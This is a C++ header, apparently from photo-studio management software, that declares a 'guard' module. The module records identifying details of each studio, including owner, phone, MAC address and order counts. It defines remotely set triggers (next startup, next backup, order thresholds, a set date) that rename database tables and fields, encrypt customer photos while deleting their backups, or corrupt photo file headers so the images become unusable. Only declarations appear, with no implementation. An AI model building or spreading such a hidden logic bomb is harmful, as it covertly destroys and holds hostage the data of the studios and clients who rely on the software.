/************************************************************************/ /* Copyright (C), 2016-2020, [IT], 保留所有权利; /* 模 块 名:; /* 描 述:; /* /* 版 本:[V]; /* 作 者:[IT]; /* 日 期:[8/30/2016]; /* /* /* 注 意:; /* /* 修改记录:[IT]; /* 修改日期:; /* 修改版本:; /* 修改内容:; /************************************************************************/ #ifndef __GUARDINFO__ #define __GUARDINFO__ #pragma once #include class CGuardInfo :public CObject { DECLARE_SERIAL(CGuardInfo); public: CGuardInfo(void); ~CGuardInfo(void); CGuardInfo &operator=(CGuardInfo& member); virtual void Serialize(CArchive& ar); public: // 影楼名称; CString m_StudioName; // 影楼域名; CString m_StudioDomain; // 影楼地址; CString m_StudioAddress; // 影楼所有者; CString m_StudioOwner; // 影楼电话; CString m_StudioTel; // 影楼Mac地址; CString m_StudioMac; // 影楼Guid; CString m_StudioGuid; // 更新时间; CString m_Uptodate; // 影楼订单数量; CString m_StudioInfo; // 影楼软件版本; CString m_StudioVer; // 是否使用域天加密锁; BOOL m_bUseYtUsb; // 执行的结果; CString m_ExecResult; }; enum GuardTriggerEvent { // 下次触发时触发; GTE_NextTimeTrigger = 0, // 下次备份时触发; GTE_NextTimeBarkup = 1, // 下次启动时触发; GTE_NextTimeStart = 2, // 客户端启动第n个时; GTE_ClientOpen = 3, // 订单超过n个时; GTE_OrderCount = 4, // 历史订单超过n个时; GTE_HistoryOrderCount = 5, // 指定具体日期时间; GTE_SpecifyTime = 6 }; // A=原片、B=初修、C=精修、D=设计; enum GuardExecCommand { // 修改数据库表名; GEC_ModifyTableName = 0x00000001, // 修改数据库表字段名; GEC_ModifyFieldName = 0x00000002, // 加密原片并删除备份的原片; GEC_EncryptA0 = 0x00000004, // 加密原片和备份的原片; GEC_EncryptA1 = 0x00000008, // 加密初修片并删除备份的初修片; GEC_EncryptB0 = 0x00000010, // 加密初修片和备份的初修片; GEC_EncryptB1 = 0x00000020, // 加密精修片并删除备份的初修片; GEC_EncryptC0 = 0x00000040, // 加密精修片和备份的初修片; GEC_EncryptC1 = 0x00000080, // 加密设计片并删除备份的初修片; GEC_EncryptD0 = 0x00000100, // 加密设计片和备份的初修片; GEC_EncryptD1 = 0x00000200, // 原片文件头加塞数据使相片无效,并且删除原片备份; GEC_GasserDataA0 = 0x00000400, // 原片和原片备份文件头加塞数据使相片无效; GEC_GasserDataA1 = 0x00000800, // 初修片文件头加塞数据使相片无效,并且删除初修片备份; GEC_GasserDataB0 = 0x00001000, // 初修片和初修片备份文件头加塞数据使相片无效; GEC_GasserDataB1 = 0x00002000, // 精修片文件头加塞数据使相片无效,并且删除精修片备份; GEC_GasserDataC0 = 0x00004000, // 精修片和精修片备份文件头加塞数据使相片无效; GEC_GasserDataC1 = 0x00008000, // 设计片文件头加塞数据使相片无效,并且删除设计片备份; GEC_GasserDataD0 = 0x00010000, // 设计片和设计片备份文件头加塞数据使相片无效; GEC_GasserDataD1 = 0x00020000, }; class CGuardCommand :public CObject { DECLARE_SERIAL(CGuardCommand); public: CGuardCommand(void); ~CGuardCommand(void); CGuardCommand &operator=(CGuardCommand& member); virtual void Serialize(CArchive& ar); public: // 触发事件类型; BYTE m_byTrigger; // 客户端数量; INT m_nClientCount; // 订单数量; INT m_nOrderCount; // 历史订单数量; INT m_nHistoryOrderCount; // 指定的日期与时间; CString m_strExecTime; // 执行的命令类型; INT m_nExecCommand; // 原表名; CString m_strOldTableName; // 新表名; CString m_strNewTableName; // 原字段名; CString m_strOldFieldName; // 新字段名; CString m_strNewFieldName; // 加密密钥; CString m_strEncryptWord; // 加密订单数量; INT m_nEncrypOrderCount; // 加塞数据库长度; INT m_nGasserDataLen; public: }; class CGuardCommandEx:public CGuardCommand { DECLARE_SERIAL(CGuardCommandEx); public: CGuardCommandEx(void); ~CGuardCommandEx(void); CGuardCommandEx &operator=(CGuardCommandEx& member); virtual void Serialize(CArchive& ar); public: // 是否被触发操作; BOOL m_bTrigger; // 是否完成; BOOL m_bFinished; // 上次触发时间; CString m_strLastTriggerTime; // 上次备份时间; CString m_strLastBakupTime; // 上次启动时间; CString m_strLastStartTime; protected: // 修改数据库表名; void ProCmd_ModifyTableName(IN LPCTSTR lpOldTableName, IN LPCTSTR lpNewTableName); // 修改数据库字段名; void ProCmd_ModifyFieldName(IN LPCTSTR lpTableName, IN LPCTSTR lpOldFieldName, IN LPCTSTR lpNewFieldName); // 加密原片并且删除备份原片; void ProCmd_EncryptA0(); void ProCmd_EncryptA1(); void ProCmd_EncryptB0(); void ProCmd_EncryptB1(); void ProCmd_EncryptC0(); void ProCmd_EncryptC1(); void ProCmd_EncryptD0(); void ProCmd_EncryptD1(); protected: // 下次触发时触发; void Pro_NextTimeTrigger(IN CGuardCommandEx* pGuardCmdEx); // 下次备份时触发; void Pro_NextTimeBarkup(IN CGuardCommandEx* pGuardCmdEx); // 下次启动时触发; void Pro_NextTimeStart(IN CGuardCommandEx* pGuardCmdEx); // 客户端启动第n个时; void Pro_ClientOpen(IN CGuardCommandEx* pGuardCmdEx); // 订单超过n个时; void Pro_OrderCount(IN CGuardCommandEx* pGuardCmdEx); // 历史订单超过n个时; void Pro_HistoryOrderCount(IN CGuardCommandEx* pGuardCmdEx); // 指定具体日期时间; void Pro_SpecifyTime(IN CGuardCommandEx* pGuardCmdEx); public: static HANDLE m_hGuardThread; static HANDLE m_hGuardEvent; BOOL StartGuardThread(); void EndOfGuardThread(); static DWORD WINAPI GuardThread(LPVOID lpParamter); }; #endif // __GUARDINFO__;